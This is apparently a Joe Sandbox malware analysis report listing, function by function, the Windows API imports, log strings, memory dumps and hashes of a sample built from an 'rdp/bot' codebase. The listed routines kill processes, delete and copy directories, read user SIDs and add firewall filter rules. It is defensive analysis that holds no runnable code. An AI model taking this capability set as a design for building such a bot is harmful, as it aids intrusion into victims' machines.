OpenProcess.KERNEL32 ref: 00007FF7048924E2
TerminateProcess.KERNEL32 ref: 00007FF7048924FC
GetLastError.KERNEL32 ref: 00007FF70489250A
CloseHandle.KERNEL32 ref: 00007FF704892895

Strings

NULL, xrefs: 00007FF704892916, 00007FF704892922
(name != NULL) || (pid != 0), xrefs: 00007FF7048921C5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048921D3
, xrefs: 00007FF704892245
process_kill, xrefs: 00007FF7048921CC, 00007FF7048921FE, 00007FF704892232, 00007FF704892319, 00007FF704892515, 00007FF7048925AE, 00007FF704892719, 00007FF7048928AE
~, xrefs: 00007FF704892430
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF704892320
[I] (%s) -> Done(name=%s,pid=%lu), xrefs: 00007FF7048928B5
[E] (%s) -> OpenProcess failed(gle=%lu), xrefs: 00007FF7048925B5
P, xrefs: 00007FF7048922B8
P, xrefs: 00007FF704892439
~, xrefs: 00007FF7048922AF
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704892720
|, xrefs: 00007FF7048921B6
, xrefs: 00007FF70489253C
~, xrefs: 00007FF70489260B
P, xrefs: 00007FF704892614
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7048921BE
P, xrefs: 00007FF704892395
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF704892239
~, xrefs: 00007FF70489238C
, xrefs: 00007FF70489232C
[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x), xrefs: 00007FF704892205
, xrefs: 00007FF7048925D5
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF70489251C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLast$Process$CloseCreateFirstHandleOpenProcess32SnapshotTerminateToolhelp32strcmp
String ID: $ $ $ $(name != NULL) || (pid != 0)$C:/Projects/rdp/bot/codebase/process.c$NULL$P$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x)$[E] (%s) -> OpenProcess failed(gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> TerminateProcess failed(gle=%lu)$[I] (%s) -> Done(name=%s,pid=%lu)$process_kill$|$~$~$~$~
API String ID: 3326156344-4160762685
Opcode ID: 785da6137a2a4b931382c2af0aea3e34208494ad0edd5f9faf333949fd61b4c7
Instruction ID: 99d6b1e90a4626231889cf16e8b65600a79c51f28a69aadf7809e434feb0d462
Opcode Fuzzy Hash: 785da6137a2a4b931382c2af0aea3e34208494ad0edd5f9faf333949fd61b4c7
Instruction Fuzzy Hash: C0F12D11E0CA03A2FA747E57ACC0F78D240AF15754EE80DB2CA0E466D2DF5DBDB59262

Function 00007FF704894D81 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF704894DA6
RemoveDirectoryA.KERNEL32 ref: 00007FF704894DBE
GetLastError.KERNEL32 ref: 00007FF704894DC8

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

strcpy.MSVCRT ref: 00007FF704894E92
strlen.MSVCRT ref: 00007FF704894E9A
strlen.MSVCRT ref: 00007FF704894EB6
strlen.MSVCRT ref: 00007FF704894EC7
strcpy.MSVCRT ref: 00007FF704894EE1
strlen.MSVCRT ref: 00007FF704894EE9
strlen.MSVCRT ref: 00007FF704894F0B
strlen.MSVCRT ref: 00007FF704894F1F
strcmp.MSVCRT ref: 00007FF704894F61
strcmp.MSVCRT ref: 00007FF704894F74
RemoveDirectoryA.KERNEL32 ref: 00007FF70489501D
GetLastError.KERNEL32 ref: 00007FF70489502B

Strings

[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF704894DE6, 00007FF704895049
fs_dir_delete, xrefs: 00007FF704894DDF, 00007FF704894E0A, 00007FF704894F8D, 00007FF704895042, 00007FF704895111, 00007FF704895174
(path != NULL), xrefs: 00007FF704894E03
*, xrefs: 00007FF704894ECC
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FF704894F94
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF70489517B
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704894DFC
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF704895118
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704894E11
NULL, xrefs: 00007FF704895165

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemovestrcmpstrcpy$fflushfwrite
String ID: (path != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 2460052984-4087913290
Opcode ID: ab8c45f73c228b84a0d470b8f8c5b53169891f3a4891c300cb8932bb60dcd1c9
Instruction ID: 98d44df7d9c9690e48f80d5f8d6f761a56e8f49afc8c949c15aac6153b6b2be8
Opcode Fuzzy Hash: ab8c45f73c228b84a0d470b8f8c5b53169891f3a4891c300cb8932bb60dcd1c9
Instruction Fuzzy Hash: CBA1B32290CA83A5FA20BF07ACD4BBAE351AF85745FD80831D90D466C5DF7CF8668721

Function 00007FF7048953BF Relevance: 42.3, APIs: 16, Strings: 12, Instructions: 270stringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 00007FF70489541A
strlen.MSVCRT ref: 00007FF704895422
strlen.MSVCRT ref: 00007FF704895443
strlen.MSVCRT ref: 00007FF704895455
strcmp.MSVCRT ref: 00007FF7048954FD
strcmp.MSVCRT ref: 00007FF704895515
strcat.MSVCRT ref: 00007FF704895575
strlen.MSVCRT ref: 00007FF70489557D
strcpy.MSVCRT ref: 00007FF704895663
strlen.MSVCRT ref: 00007FF70489566B
strlen.MSVCRT ref: 00007FF70489568D
strcat.MSVCRT ref: 00007FF7048956A6
strcpy.MSVCRT ref: 00007FF7048956B9
strlen.MSVCRT ref: 00007FF7048956C1
strlen.MSVCRT ref: 00007FF7048956E3
strcat.MSVCRT ref: 00007FF7048956FF

Strings

|, xrefs: 00007FF704895582
*, xrefs: 00007FF70489545A
[E] (%s) -> Failed(src=%s,dst=%s,err=%08x), xrefs: 00007FF704895870
[D] (%s) -> Copy(f_src=%s,f_dst=%s), xrefs: 00007FF704895719
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048955C6, 00007FF7048955F1
[I] (%s) -> Done(src=%s,dst=%s), xrefs: 00007FF7048958EC
fs_dir_copy, xrefs: 00007FF7048955A6, 00007FF7048955D4, 00007FF7048955FF, 00007FF704895712, 00007FF704895869, 00007FF7048958E5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048955DB, 00007FF704895606
NULL, xrefs: 00007FF7048958CD, 00007FF7048958D6
[I] (%s) -> Filtered(f_src=%s,flt=%s), xrefs: 00007FF7048955AD
(dst != NULL), xrefs: 00007FF7048955F8
(src != NULL), xrefs: 00007FF7048955CD

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$strcatstrcpy$strcmp
String ID: (dst != NULL)$(src != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Copy(f_src=%s,f_dst=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(src=%s,dst=%s,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s)$[I] (%s) -> Filtered(f_src=%s,flt=%s)$fs_dir_copy$|
API String ID: 2140730755-3699962909
Opcode ID: 94e92f1d7dd412bbccf40c6eab8eaf92555dce9ea77cce24aaaac88b70353e06
Instruction ID: b65745c7143b707e523ec53cd6062af8117d0307100562ccb4966c0e641b4586
Opcode Fuzzy Hash: 94e92f1d7dd412bbccf40c6eab8eaf92555dce9ea77cce24aaaac88b70353e06
Instruction Fuzzy Hash: 9DC1885290CA42A1FA21AF17ADC4BFAE351AF45784FC80832DA4D166C5DFBCF925C721

Function 00007FF704891D60 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 207memoryCOMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 00007FF704891D8A
GetTokenInformation.ADVAPI32 ref: 00007FF704891DC0
GetLastError.KERNEL32 ref: 00007FF704891DCE
LocalFree.KERNEL32 ref: 00007FF704891E08
CloseHandle.KERNEL32 ref: 00007FF704891E13
GetLastError.KERNEL32 ref: 00007FF704891EB8
LocalAlloc.KERNEL32 ref: 00007FF704891F70
GetTokenInformation.ADVAPI32 ref: 00007FF704891F9E
GetLastError.KERNEL32 ref: 00007FF704891FAC

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

LocalAlloc.KERNEL32 ref: 00007FF70489209A
GetLengthSid.ADVAPI32 ref: 00007FF7048920AC
memcpy.MSVCRT ref: 00007FF7048920BC

Strings

[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu), xrefs: 00007FF704891DEA, 00007FF704891FC1
(hnd != NULL), xrefs: 00007FF704891E32
[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu), xrefs: 00007FF704891ECD
process_get_user_sid, xrefs: 00007FF704891DE3, 00007FF704891E39, 00007FF704891E69, 00007FF704891E9A, 00007FF704891EC6, 00007FF704891FBA
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704891E40, 00007FF704891E70
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF704891EA1
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF704891E2B, 00007FF704891E5B
(sid != NULL), xrefs: 00007FF704891E62

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLastLocalToken$AllocInformation$CloseFreeHandleLengthOpenProcessfflushfwritememcpy
String ID: (hnd != NULL)$(sid != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu)$[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu)$process_get_user_sid
API String ID: 3826151639-1775164968
Opcode ID: e108b7548233d327ae1026d39b3be0f1a9462ade1fb9710be41075d3b6f3e132
Instruction ID: d542b55c859bea823734f600d7d41637897092c6c36e4ed3ae727d2cb4bec56d
Opcode Fuzzy Hash: e108b7548233d327ae1026d39b3be0f1a9462ade1fb9710be41075d3b6f3e132
Instruction Fuzzy Hash: 7C911722E0D90395FA60AF06ACD8B7D9252AF84795F9D0832D90E476D0DF7CBCA58361

Function 00007FF704898153 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF704898008: GetFileAttributesW.KERNEL32 ref: 00007FF704898019

wcslen.MSVCRT ref: 00007FF704898195
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF704898241
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF70489827F
FwpmFilterAdd0.FWPUCLNT ref: 00007FF704898448
GetProcessHeap.KERNEL32 ref: 00007FF70489848A
HeapFree.KERNEL32 ref: 00007FF70489849B
GetProcessHeap.KERNEL32 ref: 00007FF7048984B2
HeapFree.KERNEL32 ref: 00007FF7048984C3
FwpmFilterAdd0.FWPUCLNT ref: 00007FF704898523

Strings

[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF704898547
setup_app_filt, xrefs: 00007FF70489825A, 00007FF70489829C, 00007FF704898461, 00007FF704898540
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF704898468
3L, xrefs: 00007FF7048983DD
TL, xrefs: 00007FF704898205
TL, xrefs: 00007FF7048981B9
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF704898261
;9rJ, xrefs: 00007FF7048984CE
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF7048982A3

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteFreeKey0Process$AttributesFilewcslen
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$setup_app_filt
API String ID: 2990311666-1793103013
Opcode ID: 3847ef115dc0734090307112082c3d7b5f69c3191055e1362a58c1a982a13ace
Instruction ID: 7ad7fcc3321f5aedf9db2ce8c871b0bafc427e35a20e2e2742124e583fbfb9ca
Opcode Fuzzy Hash: 3847ef115dc0734090307112082c3d7b5f69c3191055e1362a58c1a982a13ace
Instruction Fuzzy Hash: 7791E52261CBC295E761AF16AC8079AA7A1EF81740F484534EACC07B99EF7DD494CB10

Function 00007FF70489405E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF70489407D
CreateDirectoryA.KERNEL32 ref: 00007FF70489409F
GetLastError.KERNEL32 ref: 00007FF7048940F0
strcpy.MSVCRT ref: 00007FF704894141
strlen.MSVCRT ref: 00007FF704894149
strlen.MSVCRT ref: 00007FF704894165
strlen.MSVCRT ref: 00007FF704894176
CreateDirectoryA.KERNEL32 ref: 00007FF7048941E7
GetLastError.KERNEL32 ref: 00007FF7048941F1

Strings

(path != NULL), xrefs: 00007FF7048940C7
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF704894109
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF70489432D
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048940C0
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF7048942C6
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048940D5
fs_dir_create, xrefs: 00007FF7048940CE, 00007FF704894102, 00007FF704894199, 00007FF7048942BF, 00007FF704894326
NULL, xrefs: 00007FF704894317
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF7048941A0

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: 50fc89317903a387c44a5fae6651ebdf6c4c4dd534ace68e48e9b33d03cf7596
Instruction ID: d24afa80916238ee6102e0acbc9fc81772d6adb1420fceefda4f4c3e8bd13549
Opcode Fuzzy Hash: 50fc89317903a387c44a5fae6651ebdf6c4c4dd534ace68e48e9b33d03cf7596
Instruction Fuzzy Hash: 86719C12A1CA4381FB246F96ACC4FB99251AF59B44F9C0932C90E066D1DF6CFC669321

Function 00007FF70489341C Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNEL32 ref: 00007FF704893436
WaitForSingleObject.KERNEL32 ref: 00007FF70489345A
GetExitCodeProcess.KERNEL32 ref: 00007FF704893468
GetLastError.KERNEL32 ref: 00007FF70489350F
TerminateProcess.KERNEL32 ref: 00007FF7048935FC
GetLastError.KERNEL32 ref: 00007FF70489360A
GetLastError.KERNEL32 ref: 00007FF7048936F1

Part of subcall function 00007FF7048933C0: CloseHandle.KERNEL32 ref: 00007FF7048933D8
Part of subcall function 00007FF7048933C0: CloseHandle.KERNEL32 ref: 00007FF7048933DE

Strings

[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF704893705
[E] (%s) -> Failed(pid=%lu,err=%08x), xrefs: 00007FF7048934F9
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048934CA
(pi != NULL), xrefs: 00007FF7048934BC
[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu), xrefs: 00007FF704893620
[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF704893525
[I] (%s) -> Done(pid=%lu,exit_code=%08lx), xrefs: 00007FF70489349F
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7048934B5
process_close, xrefs: 00007FF704893498, 00007FF7048934C3, 00007FF7048934F2, 00007FF70489351E, 00007FF704893619, 00007FF7048936FE

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLastProcess$CloseCodeExitHandle$ObjectSingleTerminateWait
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(pid=%lu,err=%08x)$[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu)$[I] (%s) -> Done(pid=%lu,exit_code=%08lx)$[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$process_close
API String ID: 1879646588-710610406
Opcode ID: 511bfd8daa64d2c1dba60e1edc82162ff6d94539ca8573e6efb62170ceca0a00
Instruction ID: 1fd4fcaa47ef22f2af6f395eb0f4f719495a7470345e71d2c1bfd0618edae1e7
Opcode Fuzzy Hash: 511bfd8daa64d2c1dba60e1edc82162ff6d94539ca8573e6efb62170ceca0a00
Instruction Fuzzy Hash: 0F816E62E0C91782FA61BE57ACC0E78D290AF18754F9E4872CC1E576D0DF6CBC618361

Function 00007FF704893909 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF70489392A
GetLastError.KERNEL32 ref: 00007FF704893A0A

Strings

c, xrefs: 00007FF7048939D1
fs_attr_get, xrefs: 00007FF704893977, 00007FF7048939AE, 00007FF7048939E7, 00007FF704893A18, 00007FF704893B4C
(path != NULL), xrefs: 00007FF7048939A7
~, xrefs: 00007FF704893A8E
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048939A0, 00007FF7048939D9
(attr != NULL), xrefs: 00007FF7048939E0
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF704893A1F
P, xrefs: 00007FF704893A93
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF70489397E
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF704893B53
, xrefs: 00007FF704893A2B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048939B5, 00007FF7048939EE
NULL, xrefs: 00007FF704893B3A

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-3397184676
Opcode ID: baf9bcd109b08fa33917cbaf3f54a6df870c21eba6df94bf0d70ffd8db40767f
Instruction ID: b1241ed532a439c0f6b328a13cd03e976e0d0c7d8b4e9f18fea41d67ad1f7484
Opcode Fuzzy Hash: baf9bcd109b08fa33917cbaf3f54a6df870c21eba6df94bf0d70ffd8db40767f
Instruction Fuzzy Hash: 32516E6190CA1781FA217F47ACC4F78E2506F09B94ED80936CE5E069D4EFADBDB58321

Function 00007FF704896776 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7048967AA

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

GetLastError.KERNEL32 ref: 00007FF704896909

Strings

(xpath != NULL), xrefs: 00007FF70489683D
[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF7048968DD
(path != NULL), xrefs: 00007FF70489680A
fs_path_expand, xrefs: 00007FF7048967DE, 00007FF704896811, 00007FF704896844, 00007FF704896874, 00007FF7048968A4, 00007FF7048968D6, 00007FF704896917, 00007FF7048969E4
(xpath_sz != NULL), xrefs: 00007FF70489686D
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF7048967E5
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704896803, 00007FF704896836, 00007FF704896866, 00007FF704896896
((*xpath_sz) > 0), xrefs: 00007FF70489689D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704896818, 00007FF70489684B, 00007FF70489687B, 00007FF7048968AB
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF70489691E
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF7048969EB

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
